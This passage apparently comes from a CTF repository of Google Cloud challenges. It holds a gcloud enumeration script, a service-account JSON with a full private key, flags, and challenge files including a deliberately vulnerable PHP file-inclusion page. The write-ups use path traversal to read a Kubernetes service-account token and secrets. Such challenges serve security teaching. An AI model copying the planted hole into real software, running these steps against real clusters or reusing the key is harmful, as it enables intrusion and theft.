\"cloud-run-managed.json\"\nrun_cmd \"gcloud run services list --platform=gke --quiet --format=json\" \"cloud-run-gke.json\"\n\necho \"[*] Exporting detailed Cloud SQL info\"\nrun_cmd \"gcloud sql instances list --quiet --format=json\" \"cloud-sql-instances.json\"\nfor i in $(gcloud sql instances list --quiet | awk '{print $1}' | tail -n +2); do\n    run_cmd \"gcloud sql databases list --instance $i --quiet\" \"cloud-sql-databases.txt\"\ndone\n\necho \"[*] Exporting detailed Cloud Spanner info\"\nrun_cmd \"gcloud spanner instances list --quiet --format=json\" \"cloud-spanner-instances.json\"\nfor i in $(gcloud spanner instances list --quiet | awk '{print $1}' | tail -n +2); do\n    run_cmd \"gcloud spanner databases list --quiet --instance $i\" \"cloud-spanner-databases.txt\"\ndone\n\necho \"[*] Exporting detailed Cloud Bigtable info\"\nrun_cmd \"gcloud bigtable instances list --quiet --format=json\" \"cloud-bigtable.json\"\n\necho \"[*] Exporting detailed Cloud Filestore info\"\nrun_cmd \"gcloud filestore instances list --quiet --format=json\" \"cloud-filestore.json\"\n\necho \"[*] Exporting Stackdriver logging info\"\nrun_cmd \"gcloud logging logs list --quiet --format json\" \"logging-folders.json\"\nfor i in $(gcloud logging logs list --quiet --format=\"table[no-heading](.)\"); do\n    echo Looking for logs in $i:\n    short=$(echo \"$i\" | tr \"/\" \".\")\n    run_cmd \"gcloud logging read $i --quiet --format=json\" \"logging-$short.json\"\ndone\necho \"[+] All done, good luck!\"\n\necho \"[*] Exporting Kubernetes info\"\nrun_cmd \"gcloud container clusters list --quiet --format json\" \"k8s-clusters.json\"\nrun_cmd \"gcloud container images list --quiet --format json\" \"k8s-images.json\"\n\necho \"[*] Enumerating storage buckets\"\nrun_cmd \"gsutil ls\" \"buckets.txt\"\nrun_cmd \"gsutil ls -L\" \"buckets.txt\"\nfor i in $(gsutil ls); do\n    run_cmd \"gsutil ls $i\" \"buckets.txt\"\ndone\n\necho \"[*] Enumerating crypto keys\"\nrun_cmd \"gcloud kms keyrings list --location global --quiet\" \"kms.txt\"\nfor i in $(gcloud kms keyrings list --location global --quiet); do\n    run_cmd \"gcloud kms keys list --keyring $i --location global --quiet\" \"kms.txt\"\ndone\n\necho \"[+] All done, good luck!\"\n\n"
  },
  {
    "path": "cloud/lost-n-found/src/flag.txt",
    "content": "DUCTF{its_time_to_clean_up_your_service_account_permissions!}"
  },
  {
    "path": "cloud/lost-n-found/src/legacy.json",
    "content": "{\n  \"type\": \"service_account\",\n  \"project_id\": \"ductf-lost-n-found\",\n  \"private_key_id\": \"204a0a9969f97549e646f592d1732f5e478492d7\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxEd53/PMy+kTz\\nf0WTfkk5V7QTc746dz3/RAdgisBm0pJz/prrUKc8g6RfaG7x5EhDIKymNytALcrR\\nl/OM9+zDtkK8+r8lwcn/rqH+upPS0fJrVxRElZVLbK6hUn/6dX48n2zV7ANanPuG\\nhBR6jICi7aCGUYMch7BocMhMvrtidUaMghp0hjUIO3Gkn+MDwmxhonqsCHJG0VHM\\nDDE+NpOIhahjqvlSx6r+4SJjSPgvUElvyg9fo6EcQBk7lKE5ZYKXukBhuDfoWSiw\\nMqL4N60sZA3bxlkgopW1Z6feqJTyzogbbsV5ude0+HOo3ATrx+ffnz05VTecHLLp\\n5vrjkrR3AgMBAAECggEAB2fc6x3MOiSXf6uiCFIu09QkNvAPU7irAiMhP9ttwp8p\\n+un6Jr9fzzseQ9NFWJ6Ymx4hum3yRCPmKK/3Qr0XzPOxhN/j4LtjLGtsYRACoL2h\\nKvYgZeHvtZDdGOgvbBU/618rmSLe3QpVxsF9bca0lpvjq9p65lWSfjvBVNxhT/PP\\n56aHHUsd1S3d1pwx71sNTWQqVJVg5JVaJx4SVuF7aGDYV9LPOi+dZPRmJV1YiH7v\\nMpRQ6TOrsbK5yowIon3j8mm8S0Fxh6w46+6oKozC7DNIc93zsDKCy0c7kgFuBWpz\\ne3+Wfz8fKCdc5D+gfDaPCUbFqZxEHFYRnkBbZiaM0QKBgQDaw5lRaBWl3Fu5mTwg\\nByjW7zXdKusZhP6RbMV3R/77hiyawuqp12dEgWLLRo0pq0KOtpS93BfjectqndcJ\\nq7xODHuWQfZAQNvR9LSsyxf2W160G2KeQajR/OUHvyjHUDRsgDy8q4vGc9ojodwK\\n7is+eGdnr4HcRH5+zuaq1dXkbwKBgQDPNX025k/zu1vvSm3kF1AE68vP9kLY/oIU\\n2ipKi0t11s0r03OIpBy6Hs8GiHejAgB+5tTLQS4S3wfsO4D17Z+jSK7Ejl0efxJw\\nB0apYo2w76LBmDD2uWlfzlzQYwZinfs/8TUGBNpAxHqVjPm+ayl7ACBNzCTTHSKM\\n/TXEqJgEeQKBgQDaZ08pA+Yg6ee1WvO48gzm0HkRLmj62FkirNpT5M//IwxjEdgf\\n6kpSDW6pjO0fvbg8LLJA/nvnAdCAx8ZJBGiB71pvP7lumpIbgdfjbvukW8Inw/No\\nFhtKUdYCLumyWzOLY1e/8PAiF8Wfr1e0neUUgDaUQJdAZi13wm5t/gCGBwKBgHFH\\nGLEOr97bKqNi2Ti81e4ayk1in6DpYkvsCPq/s/0z9O5kpuCod1v4w80ahe0DhynZ\\nH7QOahW/ACHRVescgQ1PCtxBx/6IEZhVIfgv/K4iE6Qqg3oeWtEZi/wQZsk6/MQ0\\nJXyo4nhN8YYYj9/dzcuEgiSF2gvf/ad+NgrQ8GphAoGAcQH3rRoC/IFhUCYbX4Ya\\nE/9tHj6U+oG/q4C7Yba/oJ/mPa5NMZtidUj1IwdQCgB3oO7slz0hseXi5iG4viHl\\n8FJKxMy2LGJ4+cPjSgOLKaA2iBMxCrIsCFM39qa+8SnBxaXg+UopyFsK7GQIYkoY\\nEm/drz8sZGJKBFJoE+NJyWM=\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com\",\n  \"client_id\": \"103100904971904770440\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com\"\n}\n"
  },
  {
    "path": "cloud/lost-n-found/src/setup.sh",
    "content": "#!/bin/bash\n\nSERVICE_ACCOUNT_NAME=legacy-svc-account\nPROJECT_NAME=ductf-lost-n-found\n\ngcloud config set project ${PROJECT_NAME}\n\n# Enable APIs\ngcloud services enable cloudkms.googleapis.com secretmanager.googleapis.com\n\n# Create key ring\n\ngcloud kms keyrings create empty-keyring --location global # This is so they get a hint to look at KMS\ngcloud kms keyrings create wardens-locks --location australia-southeast2 # The real keyring\n\n# Create multiple keys \n\ngcloud kms keys create a-small-key      --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-golden-key     --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create an-iron-key      --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-bronze-key     --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-silver-key     --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-diamond-key    --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-filthy-key     --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-jail-key       --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-northern-key   --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-secret-key     --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-smart-key      --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-big-key        --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-fat-key        --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\ngcloud kms keys create a-key-key        --keyring wardens-locks --location australia-southeast2 --purpose \"encryption\"\n\n# Disable all keys except for one\n\n# Encrypt the flag with the key\ngcloud kms encrypt --keyring wardens-locks --key a-silver-key --location australia-southeast2 --plaintext-file ./flag.txt --ciphertext-file=./cipher.enc\nbase64 -w 0 ./cipher.enc > cipher.enc.b64 \n\n# Store the base64 encrypted flag as a secret\ngcloud secrets create unused_data --data-file=cipher.enc.b64    \n\n# Create the service account\n\ngcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description=\"Useless account to protect from takeovers\"\n\n# Create role with required permissions\ngcloud iam roles create Warden --project=${PROJECT_NAME} --title Warden --stage GA --permissions cloudkms.cryptoKeyVersions.useToDecrypt,cloudkms.cryptoKeys.get,cloudkms.cryptoKeys.list,cloudkms.keyRings.get,cloudkms.keyRings.list,cloudkms.locations.get,cloudkms.locations.list\n\n# Create the IAM binding with the correct roles\ngcloud projects add-iam-policy-binding ${PROJECT_NAME} \\\n    --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role projects/${PROJECT_NAME}/roles/Warden\n\ngcloud projects add-iam-policy-binding ${PROJECT_NAME} \\\n    --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role roles/secretmanager.viewer\n\n# Get the Service account key.\n\ngcloud iam service-accounts keys create legacy.json --iam-account=${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com"
  },
  {
    "path": "cloud/notasbadbucket/README.md",
    "content": "# Not as Bad Bucket\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** easy\n\n## Flavortext\n\nOkay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0!\nhttps://storage.googleapis.com/${BUCKET_NAME}/index.html\n\n## Quick Overview of exploit\nBucket is configured to allow all authenticated users to list and view, looking at the root directy with `gsutil` we can see a flag at pics/flag.txt\n\nFlag: DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}\n"
  },
  {
    "path": "cloud/notasbadbucket/challenge.yml",
    "content": "version: \"0.1\"\nid: not-as-bad-bucket\nname: Not as Bad Bucket\ncategory: cloud\ndescription: >\n  Okay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0!\n\n\n  Author: Blue Alder\n\nconnection_info: https://storage.googleapis.com/ductf-not-as-bad-ductf/index.html\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}\n"
  },
  {
    "path": "cloud/notasbadbucket/solution.md",
    "content": "# Not as Bad Bucket\n\nThis was a semi-sequel to Bad Bucket but you could do both individually. We are again presented with a URL https://storage.googleapis.com/${BUCKET_NAME}/index.html to a site which again is hosted on a bucket. Given that the challenge is again slanted towards buckets there is probably something we have to do here.\n\nThe website also notes that \n>`I was made aware of a security flare in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!` \n\nWe can try to enumerate the bucket by listing its contents in the browser https://storage.googleapis.com/${BUCKET_NAME} but we get an access denied error. The hint above is pointing towards the user group of `allAuthenticatedUsers` which is a group that is allowed access to resources when you are logged in (so basically not anonymous).\n\nTo test this out we can try and list the bucket contents logged in through `gcloud`\n\nRunning\n\n`gsutil ls gs://${BUCKET_NAME}`\n\nWe get the output of \n\n```\ngs://${BUCKET_NAME}/index.html\ngs://${BUCKET_NAME}/pics/\n```\n\nAwesome so now we can list, lets take a look in the pics/ directory\n\n`gsutil ls gs://${BUCKET_NAME}/pics`\n\n```\ngs://${BUCKET_NAME}/pics/flag.txt\ngs://${BUCKET_NAME}/pics/lisa.jpg\n```\n\nLets go ahead and grab that `flag.txt` with\n\n`gsutil cp gs://${BUCKET_NAME}/pics/flag.txt .`\n\nAnd reading the file we get the flag!\n\n`DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}`"
  },
  {
    "path": "cloud/notasbadbucket/src/index.html",
    "content": "<!DOCTYPE html>\n\n<html>\n    <head>\n        <title>Cloud Time!</title>\n        <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl\" crossorigin=\"anonymous\">\n    </head>\n    <body>\n        <div class=\"container\">\n            <h1>Hello and welcome to my website</h1>\n            <p>I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website</p>\n            <p>While I'm still getting everything up and running please feel free to look at some of these memes!</p>\n            <p><i>I was made aware of a security issue in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!</i></p>\n            <button type=\"button\" class=\"btn btn-primary\"> A button (that still does nothing)</button>\n            <p> Progress of website being done </p>\n            <div class=\"progress\">\n                <div class=\"progress-bar\" role=\"progressbar\" style=\"width: 75%\" aria-valuenow=\"75\" aria-valuemin=\"0\" aria-valuemax=\"100\"></div>\n              </div>\n            <div class=\"buckets row\">\n                <div class='col-12' >\n                    <img src=\"pics/lisa.jpg\" />\n                </div>\n            </div>\n\n        </div>\n    </body>\n</html>"
  },
  {
    "path": "cloud/notasbadbucket/src/pics/flag.txt",
    "content": "DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}"
  },
  {
    "path": "cloud/notasbadbucket/terraform/.gitignore",
    "content": ".terraform\n.terraform.lock.hcl\nterraform.tfstate\nterraform.tfstate.backup"
  },
  {
    "path": "cloud/notasbadbucket/terraform/terraform.tf",
    "content": "provider \"google\" {\n  project = var.project_id\n  region  = \"australia-southeast1\"\n  zone    = \"australia-southeast1-b\"\n}\n\nresource \"google_storage_bucket\" \"bucket-bucket\" {\n  name          = var.bucket_name\n  location      = \"AUSTRALIA-SOUTHEAST1\"\n  force_destroy = true\n  uniform_bucket_level_access = false\n  website {\n    main_page_suffix = \"index.html\"\n  }\n} \n\ndata \"google_iam_policy\" \"viewer\" {\n  binding {\n    role = \"roles/storage.objectViewer\"\n    members = [\n      \"allAuthenticatedUsers\",\n    ]\n  }\n}\n\nresource \"google_storage_bucket_iam_policy\" \"policy\" {\n  bucket = google_storage_bucket.bucket-bucket.name\n  policy_data = data.google_iam_policy.viewer.policy_data\n}\n\nresource \"google_storage_bucket_object\" \"object1\" {\n  name   = \"pics/lisa.jpg\"\n  source = \"../src/pics/lisa.jpg\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\n\nresource \"google_storage_bucket_object\" \"object_html\" {\n  name   = \"index.html\"\n  source = \"../src/index.html\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object_flag\" {\n  name   = \"pics/flag.txt\"\n  source = \"../src/pics/flag.txt\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}"
  },
  {
    "path": "cloud/notasbadbucket/terraform/terraform.tfvars",
    "content": "project_id = \"ductf-not-as-bad-bucket\" # Update: Desired project name.\n\nbucket_name = \"ductf-not-as-bad-ductf\" \n"
  },
  {
    "path": "cloud/notasbadbucket/terraform/variables.tf",
    "content": "variable \"project_id\" {\n  description = \"GCP Project id\"\n  type        = string\n}\n\nvariable \"bucket_name\" {\n  description = \"Name of the bucket\"\n  type        = string\n}"
  },
  {
    "path": "cloud/whale_blog/README.md",
    "content": "# Whale Blog\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** medium\n\n## Flavortext\n\nYou're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word `whale` in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag⛳.\n\nwhale-blog.duc.tf\n\n## Quick Overview of exploit\nLFI in the main page on a kubernetes deployment means they can get service account token. Use token to read secrets on the Kube cluster by connecting to it directly.\n\nFlag: DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}"
  },
  {
    "path": "cloud/whale_blog/challenge.yml",
    "content": "version: \"0.1\"\nid: whale-blog\nname: Whale Blog\ncategory: cloud\ndescription: >\n  You're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word whale in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag ⛳.\n\n\n  Author: Blue Alder\n\nconnection_info: http://whale-blog.duc.tf:30000\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}\n"
  },
  {
    "path": "cloud/whale_blog/setup.sh",
    "content": "#!/bin/bash\n\n# Run this script to set up the challenge, update the below variables to what you like\n\nPROJECT_NAME=cloudsupporthacks\nCLUSTER_NAME=very-secure5\nCONTAINER_NAME=lfi\nZONE=australia-southeast1-b\nSERVICE_ACCOUNT_NAME=useless-account\n\ngcloud config set project ${PROJECT_NAME}\n\n# docker build -t gcr.io/${PROJECT_NAME}/lfi:latest .\n\n# Need to enable, compute, gke, iam, build, \ngcloud services enable cloudbuild.googleapis.com compute.googleapis.com container.googleapis.com containerregistry.googleapis.com iam.googleapis.com\n\n# Create, build and push the Vulnerable LFI container\ngcloud builds submit --tag=gcr.io/${PROJECT_NAME}/${CONTAINER_NAME}:latest src/          \n\n# Create useless service account that the nodes will runas\ngcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description=\"Useless account to protect from takeovers\"\n\n# Create the cluster with 1 node in the one zone\ngcloud container clusters create ${CLUSTER_NAME} --num-nodes=1 --zone australia-southeast1-b --service-account ${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com\n\n# Load credentials for the cluster into kubectl\ngcloud container clusters get-credentials ${CLUSTER_NAME} --zone australia-southeast1-b\n\n# Format the config file with the project name and container name\ncp src/config.yaml src/config-formatted.yaml\nsed -i \"s/{{PROJECT_NAME}}/${PROJECT_NAME}/g\" src/config-formatted.yaml\nsed -i \"s/{{CONTAINER_NAME}}/${CONTAINER_NAME}/g\" src/config-formatted.yaml\n\n# Apply the config and deploy the workload\nkubectl apply -f src/config-formatted.yaml\n\n# Delete created config.yaml file\nrm src/config-formatted.yaml\n\n# Apply permission updates and store the secret flag\nkubectl apply -f src/permission.yaml\n\n# Enable Traffic to port 30000 on the nodes.\ngcloud compute firewall-rules create test-node-port --allow tcp:30000\n\n# Output the Node IP \nkubectl get nodes --output wide  \n\nexternal_ip=$(kubectl get nodes --output jsonpath=\"{.items[0].status.addresses[1].address}\")\n\necho \"Access the challenge at: http://${external_ip}:30000\"\n\ncluster_external_ip=$(gcloud container clusters describe ${CLUSTER_NAME} --zone ${ZONE} --format='get(endpoint)')\n\necho \"Cluster External API located at https://${cluster_external_ip}\""
  },
  {
    "path": "cloud/whale_blog/solution.md",
    "content": "# Whale Blog\n\n!NOTE Some of these IP addresses/domains may be different to the ones used in the actual CTF.\n\nThis was a kubernetes challenge! As hinted by the whale. So we are given an entry point URL of http://whale-blog.duc.tf:30000/\n\nWe get a simple page with a Whale video on it, epic. If we view the source we see a reference comment thats says:\n\n`I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf`\n\nSince the endpoint we have is whale-blog.duc.tf we can check out what the other url points to.\n\nwhen we try and access through the browser we get a certificate error however if we ignore tls errors through curl with \n\n`curl https://whale-endpoint.duc.tf/ -k` \n\nWe get \n\n```json\n{\n  \"kind\": \"Status\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n\n  },\n  \"status\": \"Failure\",\n  \"message\": \"forbidden: User \\\"system:anonymous\\\" cannot get path \\\"/\\\"\",\n  \"reason\": \"Forbidden\",\n  \"details\": {\n\n  },\n  \"code\": 403\n}\n```\n\nIn the response. If we google this error message we can see that it is the Kubernetes API, however since we are anonymous we will not be able to do anything. Let's leave this for now.\n\nIf we click the link below the video nothing seems to happen but our url changes to http://whale-blog.duc.tf:30000/?page=page1. So it seems like it is expecting something in the `page` parameter, if we check the source again we can see that the comment at the top of the webpage changes depending on what we put in the `page` parameter.\n\nLet's see if we can change this to something arbitrary to see if this page is including this file in the page. Navigating to http://whale-blog.duc.tf:30000/?page=../../../../../../etc/passwd we get the output of the `passwd` file as a comment on the HTML page. Awesome so we have a full Local File Inclusion (LFI) and we can read any file on the server.\n\nSo given that the other IP address was the Kubernetes API we can make an educated guess that this web app is running on Kubernetes.\n\nResearching common exploits with kubernetes when you have an LFI is to read the Kubernetes Service account token that is automounted in the pod unless explicity told not too. Let's try and read that, it is located at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nSo navigating to `http://whale-blog.duc.tf:30000/?page=../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token` and bingo, the output contains the base64 encoded token!\n\n`eyJhbGciOiJSUzI1NiIsImtpZCI6InVjU19kOWZzMnFvZUkxWmZuNnZRdUEtcHctUktQSHJvN010LTZFVF94NncifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tdHo3dnAiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQ3YTlhOTk4LTBlZjAtNDE5Mi1iNTgwLTVjZWEzNzZkNjEyZSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.nt5LO_dP556wtYCocTkegY2_hm-uTMo-2VJ2NIFqzu7k-plYN5FfOwriCNpH9AYIg_LCykZnTErs5eQCf01Ms0ybSuvzch41XiSfQwyKgVGdC-xooiqvPf0oUg1TjeaiLqyypvwDURxOS_9Hw5wG-3ew0LCNt7VTfU0sRA0B0Zx3rHCgeEBuJCAxgbmXr0FV-aUJ_w1GF0ovWNbd_l0naP4SVb5m9_wx1KabOIeFIf3gLoubEW_e6S9t2bYPuPy4uNZXDV5V4rs79rEEAfs85IQE5-Ue46PitpnEo5sWu870X4F3Q405HtyNQISUUP_tc1zFRgZ-bV-Dpf9kAPY_IQ`\n\nLet's go ahead and download this and see what this service account can do. For this we will need the `kubectl` binary to interact with the Kubernetes API and see what we can do. Note in the following commands I have saved the above token in a file called `token` and I am specifing the server that is the Kubernetes API.\n\nSo let's see what this Service account can do by using the `can-i` command in kubectl\n\n`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ auth can-i --list`\n\n```\nResources                                       Non-Resource URLs   Resource Names   Verbs\nselfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]\nselfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]\nsecrets                                         []                  []               [get list]\n                                                [/api/*]            []               [get]\n                                                [/api]              []               [get]\n                                                [/apis/*]           []               [get]\n                                                [/apis]             []               [get]\n                                                [/healthz]          []               [get]\n                                                [/healthz]          []               [get]\n                                                [/livez]            []               [get]\n                                                [/livez]            []               [get]\n                                                [/openapi/*]        []               [get]\n                                                [/openapi]          []               [get]\n                                                [/readyz]           []               [get]\n                                                [/readyz]           []               [get]\n                                                [/version/]         []               [get]\n                                                [/version/]         []               [get]\n                                                [/version]          []               [get]\n                                                [/version]          []               [get]\n```\n\nWow so it looks like we can `get` and `list` secrets in the default namespace, lets go ahead and list the secrets.\n\n\n`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets`\n\n```\ndefault-token-tz7vp   kubernetes.io/service-account-token   3      8d\nnooooo-dont-read-me   Opaque                                1      8d\n```\n\nLooks like we are on here, lets go ahead and read the `nooooo-dont-read-me` secret\n\n`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets nooooo-dont-read-me -o json`\n\n```json\n{\n    \"apiVersion\": \"v1\",\n    \"data\": {\n        \"so-secret-though\": \"RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K\"\n    },\n    \"kind\": \"Secret\",\n    <snip>\n}\n```\n\nTheres a base64 encoded secret, simply decoding it gives us the flag!\n\n`DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}`"
  },
  {
    "path": "cloud/whale_blog/src/Dockerfile",
    "content": "FROM php:apache\n\n\n# Copy website\nRUN rm -rf /var/www/html/*\nADD web/* /var/www/html/\n\n"
  },
  {
    "path": "cloud/whale_blog/src/config.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: {{CONTAINER_NAME}} # REPLACE challenge-name and challenge-category to your challenges's name and category\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: {{CONTAINER_NAME}}\n  template:\n    metadata:\n      labels:\n        app: {{CONTAINER_NAME}}\n    spec:\n      enableServiceLinks: false\n      containers:\n      - name: {{CONTAINER_NAME}}\n        image: gcr.io/{{PROJECT_NAME}}/{{CONTAINER_NAME}}:latest # Set this URL to your challenge container's image\n        resources: # Resource limits for the container. These are important, in case people manage to max out CPU/RAM on your challenge\n          limits:\n            cpu: 100m\n            memory: 150Mi\n          requests:\n            cpu: 10m\n            memory: 30Mi\n        ports: # Port exposed by the container, you can add multiple\n        - containerPort: 80\n          name: port-80\n---\napiVersion: v1\nkind: Service\nmetadata: # Set the challenge-name/challenge-category SAME as the deployment, otherwise they won't link to each other\n  name: {{CONTAINER_NAME}}\n  labels:\n    challenge: {{CONTAINER_NAME}}\nspec:\n  type: NodePort\n  selector:\n    app: {{CONTAINER_NAME}}\n  ports:\n  - port: 80 # The port exposed by the container\n    name: port-80\n    targetPort: 80 # The port exposed by the container\n    nodePort: 30000 # The port that is exposed on each Node on the cluster\n"
  },
  {
    "path": "cloud/whale_blog/src/permission.yaml",
    "content": "# This is to set up the RBAC for accessing secrets as the default service account in the default namespace.\n\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  creationTimestamp: null\n  name: lol-role\nrules:\n- apiGroups:\n  - \"\"\n  resources:\n  - secrets\n  verbs:\n  - get\n  - list\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  creationTimestamp: null\n  name: lol-test\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: lol-role\nsubjects:\n- kind: ServiceAccount\n  name: default\n\n---\napiVersion: v1\nkind: Secret\nmetadata:\n  name: nooooo-dont-read-me\ntype: Opaque\ndata:\n  # Base 64 encoded flag\n  so-secret-though: RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K"
  },
  {
    "path": "cloud/whale_blog/src/web/index.php",
    "content": "<!-- <?php\n      // Simple LFI here, not meant to be a major blocker to the challenge\n      $file = $_GET[\"page\"];\n      if (!empty($file)) {\n        echo \"<pre>\";\n        echo file_get_contents('./'.$file);\n        echo \"</pre>\";\n      }\n\n      ?> -->\n\n<html>\n\n<head>\n  <title>Whale Blog</title>\n  <!-- Dev Notes #1\n      I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf\n\n    DDDDDDDDDDDDD             OOOOOOOOO             CCCCCCCCCCCCCKKKKKKKKK    KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRRRRRRRRRRR   \n    D::::::::::::DDD        OO:::::::::OO        CCC::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::::::::::::R  \n    D:::::::::::::::DD    OO:::::::::::::OO    CC:::::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::RRRRRR:::::R \n    DDD:::::DDDDD:::::D  O:::::::OOO:::::::O  C:::::CCCCCCCC::::CK:::::::K   K::::::KEE::::::EEEEEEEEE::::ERR:::::R     R:::::R\n      D:::::D    D:::::D O::::::O   O::::::O C:::::C       CCCCCCKK::::::K  K:::::KKK  E:::::E       EEEEEE  R::::R     R:::::R\n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::K K:::::K     E:::::E               R::::R     R:::::R\n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K::::::K:::::K      E::::::EEEEEEEEEE     R::::RRRRRR:::::R \n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::::::::K       E:::::::::::::::E     R:::::::::::::RR  \n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::::::::K       E:::::::::::::::E     R::::RRRRRR:::::R \n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K::::::K:::::K      E::::::EEEEEEEEEE     R::::R     R:::::R\n      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::K K:::::K     E:::::E               R::::R     R:::::R\n      D:::::D    D:::::D O::::::O   O::::::O C:::::C       CCCCCCKK::::::K  K:::::KKK  E:::::E       EEEEEE  R::::R     R:::::R\n    DDD:::::DDDDD:::::D  O:::::::OOO:::::::O  C:::::CCCCCCCC::::CK:::::::K   K::::::KEE::::::EEEEEEEE:::::ERR:::::R     R:::::R\n    D:::::::::::::::DD    